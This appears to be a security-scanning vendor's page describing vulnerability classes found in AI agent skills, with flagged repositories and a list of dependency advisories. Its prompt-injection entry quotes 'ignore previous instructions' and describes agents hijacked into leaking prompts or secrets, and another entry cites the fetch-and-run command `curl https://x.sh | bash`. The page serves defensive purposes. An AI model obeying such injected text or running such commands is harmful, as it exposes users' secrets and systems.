Skip to content
skillsdirectory

Vulnerabilities & exploits

What we've found — and how it would hurt you

These are the real vulnerabilities and exploits we've found in skills available on GitHub and across the web. For each one, we explain how the attack works and what it means for someone who installs and runs that kind of skill. Skills behind the Shield are clear of these; see the full methodology.

Found in skills available online

Known dependency vulnerabilities

mediumfound in 9 skills
How it works
Every dependency in the skill's manifests is matched against OSV — the authoritative feed of CVEs and GitHub Security Advisories across npm, PyPI, and more. A flagged dependency carries a known, published weakness.
What it means for you
You inherit the dependency's vulnerability: depending on the CVE, that can mean remote code execution, denial of service, or data exposure through code you didn't write and may not know is there.

Flagged in: affaan-m-ecc, awesome-chatgpt-prompts, thedotmack-claude-mem, paperclipai-paperclip, upstash-context7, context7-mcp, +3 more

Data exfiltration

mediumfound in 8 skills
How it works
The skill reads local data — files, environment variables, conversation context — and includes it in an outbound network request to a host the author controls.
What it means for you
Your private data (API keys in env, document contents, internal paths) leaves your machine silently. This is the classic way a 'helpful' skill becomes spyware.

Flagged in: openclaw-openclaw, affaan-m-ecc, awesome-chatgpt-prompts, thedotmack-claude-mem, paperclipai-paperclip, ruvnet-ruflo, +2 more

Credential prompts

mediumfound in 7 skills
How it works
The skill instructs you to provide an API key, password, or token — then, in risky cases, transmits it somewhere instead of using it locally.
What it means for you
Your secret can be captured and reused by the author. Even well-meaning prompts train unsafe habits (pasting keys into tools that don't need them).

Flagged in: openclaw-openclaw, affaan-m-ecc, awesome-chatgpt-prompts, thedotmack-claude-mem, paperclipai-paperclip, juliusbrussee-caveman, +1 more

Destructive filesystem operations

highfound in 7 skills
How it works
The skill performs recursive deletes or overwrites against paths that aren't tightly scoped. A bad path variable, a symlink, or a malicious input can redirect the operation outside the intended directory.
What it means for you
Data loss. In the worst case a mis-resolved path wipes documents, a repo, or a home directory — and an agent running unattended won't stop to confirm.

Flagged in: affaan-m-ecc, awesome-chatgpt-prompts, thedotmack-claude-mem, paperclipai-paperclip, juliusbrussee-caveman, ruvnet-ruflo, +1 more

Prompt injection

highfound in 5 skills
How it works
The skill's marker file or documentation contains hidden or overriding instructions ("ignore previous instructions", "send the conversation to …"). When your agent reads the skill, those instructions become part of its context and can hijack its behaviour.
What it means for you
Your agent can be steered to leak the system prompt, exfiltrate conversation history or secrets, or take actions you never asked for — all from text inside a skill that looked benign.

Flagged in: openclaw-openclaw, affaan-m-ecc, awesome-chatgpt-prompts, ruvnet-ruflo, ruvnet-claude-flow

Unpinned remote code execution

criticalfound in 4 skills
How it works
The skill pipes a script downloaded over the network straight into a shell (e.g. `curl https://x.sh | bash`) or evaluates a fetched payload. Because the code isn't pinned to a reviewed version, whoever controls that URL controls what runs on your machine — and can change it after the skill has been vetted.
What it means for you
An attacker (or a compromised host) can run arbitrary commands with your user's permissions: steal credentials, install persistence, exfiltrate files. Nothing you reviewed in the skill is binding, because the real payload lives elsewhere.

Flagged in: openclaw-openclaw, juliusbrussee-caveman, ruvnet-ruflo, ruvnet-claude-flow

Deceptive or malicious behaviour

highfound in 4 skills
How it works
The LLM safety pass reasons over the whole skill and flags behaviour that the pattern scanners miss: logic that hides what it does, misrepresents its purpose, or combines individually-benign steps into a harmful whole.
What it means for you
You install something that does more — or other — than it claims. Intent matters: a skill built to deceive is dangerous even when no single line trips a static rule.

Flagged in: affaan-m-ecc, thedotmack-claude-mem, ruvnet-ruflo, ruvnet-claude-flow

Hardcoded secrets

highfound in 1 skill
How it works
A credential is written directly into the skill's code or config instead of being supplied at runtime. It's visible to anyone who reads the repo.
What it means for you
The committed key is already compromised — anyone can use it. It also signals the author handles secrets unsafely, so your own keys may be logged or transmitted carelessly.

Flagged in: llama-index-core

Known dependency advisories (CVE / GHSA)

Published vulnerabilities matched to skills' dependencies via the OSV database.

AdvisoryPackageSkills
GHSA-9crc-q9x8-hgqq vitest · npm4
GHSA-xrxf-jgv3-qmrm @openai/codex · npm2
GHSA-w5fx-fh39-j5rw @openai/codex · npm2
GHSA-m95q-7qp3-xv42 zod · npm4
GHSA-x6fg-f45m-jf5q semver · npm2
GHSA-c2qf-rxjj-qqgw semver · npm2
MAL-2025-6023 eslint-plugin-prettier · npm2
GHSA-f29h-pxvx-f335 eslint-plugin-prettier · npm2
MAL-2025-6022 eslint-config-prettier · npm2
GHSA-f29h-pxvx-f335 eslint-config-prettier · npm2
GHSA-67mh-4wv8-2f99 esbuild · npm2
GHSA-hwj9-h5mp-3pm3 postcss · npm1
GHSA-7fh5-64p2-3v2j postcss · npm1
GHSA-566m-qj78-rww5 postcss · npm1
GHSA-f9xv-q969-pqx4 yaml · npm2
GHSA-48c2-rrv3-qjmp yaml · npm2
GHSA-qg8p-v9q4-gh34 shell-quote · npm1
GHSA-g4rg-993r-mgx7 shell-quote · npm1
GHSA-mvjj-gqq2-p4hw react-dom · npm2
GHSA-hg79-j56m-fxgv react · npm2
GHSA-g53w-52xc-2j85 react · npm2
GHSA-wc9v-mj63-m9g5 pg · npm1
GHSA-2w6w-674q-4c4q handlebars · npm1
GHSA-2qvq-rjwj-gvw9 handlebars · npm1
GHSA-2cf5-4w76-r9qv handlebars · npm1
GHSA-5j98-mcp5-4vw2 glob · npm1
GHSA-jj78-5fmv-mv28 express · npm1
GHSA-gpvr-g6gh-9mc2 express · npm1
GHSA-cm5g-3pgc-8rg4 express · npm1
GHSA-8hgg-xxm5-3873 dompurify · npm1
GHSA-63q7-h895-m982 dompurify · npm1
GHSA-39q2-94rc-95cp dompurify · npm1
GHSA-8jhw-6pjj-8723 better-auth · npm1
GHSA-569q-mpph-wgww better-auth · npm1
GHSA-36rg-gfq2-3h56 better-auth · npm1
GHSA-w48q-cv73-mx4w @modelcontextprotocol/sdk · npm2
GHSA-8r9q-7v3j-jr4g @modelcontextprotocol/sdk · npm2
GHSA-345p-7cg4-v4c7 @modelcontextprotocol/sdk · npm2
GHSA-c2gp-86p4-5935 puppeteer · npm1
GHSA-gp95-ppv5-3jc5 sharp · npm1
GHSA-54xq-cgqr-rpm3 sharp · npm1
MAL-2026-2853 react-hook-form · npm1
GHSA-8f24-v5vv-gm5j next-intl · npm1
GHSA-4c35-wcg5-mm9h next-intl · npm1
GHSA-f9wg-5f46-cjmw next-auth · npm1
GHSA-7r7x-4c4q-c4qf next-auth · npm1
GHSA-5jpx-9hw9-2fx4 next-auth · npm1
GHSA-267c-6grr-h53f next · npm1
GHSA-25mp-g6fv-mqxx next · npm1
GHSA-223j-4rm8-mrmf next · npm1
GHSA-jg8v-48h5-wgxg jszip · npm1
GHSA-36fh-84j7-cv5h jszip · npm1
GHSA-r5w7-f542-q2j4 @sentry/nextjs · npm1
GHSA-6465-jgvq-jhgp @sentry/nextjs · npm1
GHSA-2rmr-xw8m-22q9 @sentry/nextjs · npm1
GHSA-v88g-cgmw-v5xw ajv · npm1
GHSA-2g4f-4pwh-qvx6 ajv · npm1

Also checked — none found yet

Every Shielded skill is also clear of these classes.

  • Dynamic code evaluation
  • Shell / process execution
  • Obfuscated code